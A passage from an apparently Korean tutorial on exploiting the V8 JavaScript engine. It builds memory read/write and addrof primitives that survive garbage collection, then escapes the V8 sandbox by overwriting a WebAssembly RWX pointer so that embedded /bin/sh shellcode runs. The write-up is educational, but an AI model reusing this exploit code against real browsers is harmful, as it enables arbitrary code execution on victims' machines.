<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//code for considering only the case : addr_rwarr &gt; addr_a</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">addr_rwarr</span> <span class="o">&lt;</span> <span class="nx">addr_a</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Failed</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">//calc offset</span>
<span class="kd">let</span> <span class="nx">offset</span> <span class="o">=</span> <span class="p">(</span><span class="nx">addr_rwarr</span> <span class="o">-</span> <span class="nx">addr_a</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0xc</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="nx">offset</span> <span class="o">%</span> <span class="mi">8</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span>
        <span class="nx">offset</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">;</span>
<span class="p">}</span>

<span class="nx">offset</span> <span class="o">=</span> <span class="nx">offset</span> <span class="o">/</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">offset</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">//our a array has one of 1.1</span>
<span class="nx">offset</span> <span class="o">-=</span> <span class="mi">1</span><span class="p">;</span>

<span class="kd">let</span> <span class="nx">marker42_idx</span> <span class="o">=</span> <span class="nx">offset</span><span class="p">;</span>

<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">marker42_idx</span><span class="p">);</span>

<span class="c1">//declare and assign</span>
<span class="kd">let</span> <span class="nx">b64</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">buffer</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">zero</span> <span class="o">=</span> <span class="mi">0</span><span class="nx">n</span><span class="p">;</span>

<span class="c1">//write primitive</span>
<span class="kd">function</span> <span class="nx">v8h_write64</span><span class="p">(</span><span class="nx">where</span><span class="p">,</span> <span class="nx">what</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">b64</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">zero</span><span class="p">;</span>
        <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">a</span><span class="p">[</span><span class="nx">marker42_idx</span><span class="p">];</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x6</span><span class="p">)</span> <span class="p">{</span>
                <span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">where</span><span class="o">-</span><span class="mi">8</span><span class="p">;</span>
                <span class="nx">a</span><span class="p">[</span><span class="nx">marker42_idx</span><span class="p">]</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="p">{</span>
                <span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">where</span><span class="o">-</span><span class="mi">8</span><span class="p">;</span>
                <span class="nx">a</span><span class="p">[</span><span class="nx">marker42_idx</span><span class="p">]</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="p">}</span>
        <span class="nx">rwarr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">what</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="gc-resistance">GC Resistance</h4>

<p>우리가 만든 JS코드를 돌리면서, 중간에 Young space가 가득 차면, Garbage Collection이 발생할 수 있습니다. 그렇게 되면, 객체들의 위치가 변경되면서, offset들을 통해 만든 primitives들이 더 이상 동작하지 않게 됩니다. 이를 대비하기 위해, 객체를 새로 세 개 만들고, 이들을 연결하여, Garbage Collection이 발생해도 유지되는 Primitives를 구현할 것입니다.</p>

<p>아래 코드를 통해 만드는 것은, Changer의 elements는 Leaker 객체를 가르키게, Leaker의 elements는 Holder 객체를 가르키게 하는 것입니다. 이후 사용하였던 x배열, a배열 그리고 rwarr 배열의 length를 0으로 만들어 초기화 합니다. 배열을 초기화하면, corrupt 되었던 것들을 Garbage Collector가 발견하지 못하게 됩니다.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//create 3 objects</span>
<span class="kd">let</span> <span class="nx">changer</span> <span class="o">=</span> <span class="p">[</span><span class="mf">1.1</span><span class="p">,</span><span class="mf">2.2</span><span class="p">,</span><span class="mf">3.3</span><span class="p">,</span><span class="mf">4.4</span><span class="p">,</span><span class="mf">5.5</span><span class="p">,</span><span class="mf">6.6</span><span class="p">]</span>
<span class="kd">let</span> <span class="nx">leaker</span>  <span class="o">=</span> <span class="p">[</span><span class="mf">1.1</span><span class="p">,</span><span class="mf">2.2</span><span class="p">,</span><span class="mf">3.3</span><span class="p">,</span><span class="mf">4.4</span><span class="p">,</span><span class="mf">5.5</span><span class="p">,</span><span class="mf">6.6</span><span class="p">]</span>
<span class="kd">let</span> <span class="nx">holder</span>  <span class="o">=</span> <span class="p">{</span><span class="na">p1</span><span class="p">:</span> <span class="mh">0x1234</span><span class="p">,</span> <span class="na">p2</span><span class="p">:</span> <span class="mh">0x1234</span><span class="p">,</span> <span class="na">p3</span><span class="p">:</span> <span class="mh">0x1234</span><span class="p">};</span>

<span class="c1">//get addr of objects</span>
<span class="kd">let</span> <span class="nx">changer_addr</span> <span class="o">=</span> <span class="nx">addrof_tmp</span><span class="p">(</span><span class="nx">changer</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">leaker_addr</span> <span class="o">=</span> <span class="nx">addrof_tmp</span><span class="p">(</span><span class="nx">leaker</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">holder_addr</span> <span class="o">=</span> <span class="nx">addrof_tmp</span><span class="p">(</span><span class="nx">holder</span><span class="p">);</span>

<span class="c1">//corrupt that objects</span>
<span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">holder_addr</span><span class="p">;</span>
<span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xc</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">original_leaker_bytes</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>

<span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">leaker_addr</span><span class="p">;</span>
<span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xc</span><span class="p">;</span>

<span class="nx">v8h_write64</span><span class="p">(</span><span class="nx">changer_addr</span><span class="o">+</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="nx">v8h_write64</span><span class="p">(</span><span class="nx">leaker_addr</span><span class="o">+</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">original_leaker_bytes</span><span class="p">);</span>

<span class="c1">//fix the corruption to the objects in Old Space</span>
<span class="nx">x</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="nx">a</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="nx">rwarr</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>이제 이 세 객체들이 어떻게 동작하게 되는지 간단하게 설명해 보겠습니다.</p>

<p>changer 객체의 elements 포인터를 leaker객체의 주소로 바꾸었기 때문에, changer의 elements 배열을 확인하러 가면, leaker객체로 가게됩니다. 따라서 changer[0]의 값은 1.1이 아닌, leaker객체의 holder_addr + size 값에 해당합니다.
마찬가지로, leaker[0]은 1.1이 아닌, holder객체의 elements + in-object property 1 값을 가르킵니다.</p>

<h4 id="final-heap-readwrite-primitive">Final Heap Read/Write Primitive</h4>

<p>이 primitive는 처음에 만들었던 primitive와 같은 방식의 primitive인데, 이전에 Garbage collection을 대비하여 만든 객체들로 구현한 것입니다.</p>

<p>그래서 v8h_read64 함수는 changer의 0번 인덱스, 즉 leaker의 elements를 원하는 곳으로 바꾼 후, 그곳의 데이터를 읽어 들입니다.</p>

<p>v8h_write 함수는 read함수에서 해당 위치의 데이터를 쓰는 기능이 추가된 primitive입니다.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">v8h_read64</span><span class="p">(</span><span class="nx">addr</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">original_leaker_bytes</span> <span class="o">=</span> <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nb">Number</span><span class="p">(</span><span class="nx">addr</span><span class="p">)</span><span class="o">-</span><span class="mi">8</span><span class="p">;</span>
        <span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xc</span><span class="p">;</span>
        <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>

        <span class="kd">let</span> <span class="nx">ret</span> <span class="o">=</span> <span class="nx">leaker</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">original_leaker_bytes</span><span class="p">;</span>
        <span class="k">return</span> <span class="nx">f2i</span><span class="p">(</span><span class="nx">ret</span><span class="p">);</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">v8h_write</span><span class="p">(</span><span class="nx">addr</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">original_leaker_bytes</span> <span class="o">=</span> <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nb">Number</span><span class="p">(</span><span class="nx">addr</span><span class="p">)</span><span class="o">-</span><span class="mi">8</span><span class="p">;</span>
        <span class="nx">u32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xc</span><span class="p">;</span>
        <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>

        <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">leaker</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nb">Number</span><span class="p">(</span><span class="nx">value</span><span class="p">);</span>
        <span class="nx">leaker</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
        <span class="nx">changer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">original_leaker_bytes</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="final-addrof-primitive">Final addrof Primitive</h4>

<p>이 primitive는 이전의 addrof와 마찬가지로 객체의 주소를 얻기 위해 사용합니다.
이전의 primitive는 x배열을 a배열을 덮음으로써 type confusion을 일으켜 주소를 얻었습니다.
지금은 이 배열들을 모두 초기화하고 더이상 사용하지 않게(gc가 오류를 발견하지 못하게) 하여, 새로 생성하여 사용중인 changer,leaker,holder를 이용해서 addrof primitive를 구현하려 합니다.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">addrof</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">holder</span><span class="p">.</span><span class="nx">p2</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">;</span>
        <span class="kd">let</span> <span class="nx">ret</span> <span class="o">=</span> <span class="nx">leaker</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
        <span class="nx">holder</span><span class="p">.</span><span class="nx">p2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">return</span> <span class="nx">f2i</span><span class="p">(</span><span class="nx">ret</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="exploit">Exploit</h3>

<p>이제 exploit을 위한 primitives를 모두 구현하였습니다. 이들을 이용해 v8의 mitigation인 sandbox(ubercage)를 우회해 보겠습니다.</p>

<p>우선 이 Sandbox를 우회하기 위해서는 WebAssembly를 사용할 것입니다.</p>

<p>WebAssembly를 사용하는 이유는, 쉘코드를 실행시키려면, 실행 권한이 있는 영역으로 포인터를 옮겨야 합니다. 이 영역은 최적화되어 실제로 동작하는 코드가 있는 코드 영역에도 있지만, WebAssembly로 인스턴스를 생성할 때, rwx영역이 생기게 됩니다. 그리고, 이 WasmInstance 안에, RWX영역으로 향하는 포인터가 존재하기 때문에, 이를 overwrite함으로써 우리가 원하는 곳으로 실행 흐름을 옮길 수 있습니다.</p>

<p>참고 : 이 exploit 방법은 sandbox가 추가적인 업데이트가 이뤄지기 전에 사용되었던 익스플로잇 방법입니다. 현재는 WasmInstance 안에 RWX영역 포인터를 저장하지 않는 방법으로 바뀌었기 때문에, 새로운 익스플로잇 방법을 구상해야 합니다. 그리고 각 주소들이 위치하는 offset 역시 v8의 버전별로 다르기 때문에 이 역시 직접 분석하여 얻어야합니다.</p>

<p>이 익스플로잇을 하기 위해, 두개의 WasmInstance를 생성하여, 한개에는 쉘코드를 담고, 나머지 한개는 RWX 포인터를 쉘코드의 위치로 덮을 것입니다. 이렇게 하면, 후자의 인스턴스로 만든 함수를 실행할 때, 변조된 RWX포인터로 이동하게 되어, 쉘코드가 실행됩니다.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">shell_wasm_code</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">([</span>
    <span class="mi">0</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">127</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">121</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">133</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">130</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">59</span><span class="p">,</span> <span class="mi">88</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">104</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">104</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">91</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">104</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">98</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">89</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">193</span><span class="p">,</span> <span class="mi">227</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">203</span><span class="p">,</span> <span class="mi">83</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">137</span><span class="p">,</span> <span class="mi">231</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">246</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">210</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">144</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">42</span><span class="p">,</span> <span class="mi">11</span>
  <span class="p">]);</span>

<span class="kd">let</span> <span class="nx">shell_wasm_module</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Module</span><span class="p">(</span><span class="nx">shell_wasm_code</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">shell_wasm_instance</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Instance</span><span class="p">(</span><span class="nx">shell_wasm_module</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">shell_func</span> <span class="o">=</span> <span class="nx">shell_wasm_instance</span><span class="p">.</span><span class="nx">exports</span><span class="p">.</span><span class="nx">main</span><span class="p">;</span>

<span class="nx">shell_func</span><span class="p">();</span>

<span class="kd">let</span> <span class="nx">shell_wasm_instance_addr</span> <span class="o">=</span> <span class="nx">addrof</span><span class="p">(</span><span class="nx">shell_wasm_instance</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">shell_wasm_rwx_addr</span> <span class="o">=</span> <span class="nx">v8h_read64</span><span class="p">(</span><span class="nx">shell_wasm_instance_addr</span> <span class="o">+</span> <span class="mh">0x48</span><span class="nx">n</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">shell_func_code_addr</span> <span class="o">=</span> <span class="nx">shell_wasm_rwx_addr</span> <span class="o">+</span> <span class="mh">0xB40</span><span class="nx">n</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">shell_code_addr</span> <span class="o">=</span> <span class="nx">shell_func_code_addr</span> <span class="o">+</span> <span class="mh">0x2D</span><span class="nx">n</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">tbl</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Table</span><span class="p">({</span>
        <span class="na">initial</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>
        <span class="na">element</span><span class="p">:</span> <span class="dl">"</span><span class="s2">anyfunc</span><span class="dl">"</span>
<span class="p">});</span>

<span class="kd">const</span> <span class="nx">importObject</span> <span class="o">=</span> <span class="p">{</span>
        <span class="na">imports</span><span class="p">:</span> <span class="p">{</span> <span class="na">imported_func</span> <span class="p">:</span> <span class="p">(</span><span class="nx">n</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="p">},</span>
        <span class="na">js</span><span class="p">:</span> <span class="p">{</span> <span class="nx">tbl</span> <span class="p">}</span>
<span class="p">};</span>

<span class="kd">var</span> <span class="nx">wasmCode</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">([</span>
<span class="mi">0</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">1</span><span class="p">,</span><span class="mi">15</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">96</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">124</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">124</span><span class="p">,</span><span class="mi">96</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">124</span><span class="p">,</span><span class="mi">124</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">96</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">125</span><span class="p">,</span>
<span class="mi">2</span><span class="p">,</span><span class="mi">36</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">95</span><span class="p">,</span><span class="mi">102</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span>
<span class="mi">110</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">2</span><span class="p">,</span><span class="mi">106</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">98</span><span class="p">,</span><span class="mi">108</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span>
<span class="mi">3</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">7</span><span class="p">,</span><span class="mi">21</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">107</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">95</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">121</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span>
<span class="mi">10</span><span class="p">,</span><span class="mi">31</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">22</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">68</span><span class="p">,</span><span class="mi">144</span><span class="p">,</span><span class="mi">144</span><span class="p">,</span><span class="mi">144</span><span class="p">,</span><span class="mi">144</span><span class="p">,</span><span class="mi">72</span><span class="p">,</span><span class="mi">137</span><span class="p">,</span><span class="mi">16</span><span class="p">,</span><span class="mi">195</span><span class="p">,</span><span class="mi">68</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span><span class="mi">204</span><span class="p">,</span>
<span class="mi">233</span><span class="p">,</span><span class="mi">67</span><span class="p">,</span><span class="mi">26</span><span class="p">,</span><span class="mi">26</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span>
<span class="mi">32</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">16</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">11</span>
<span class="p">]);</span>

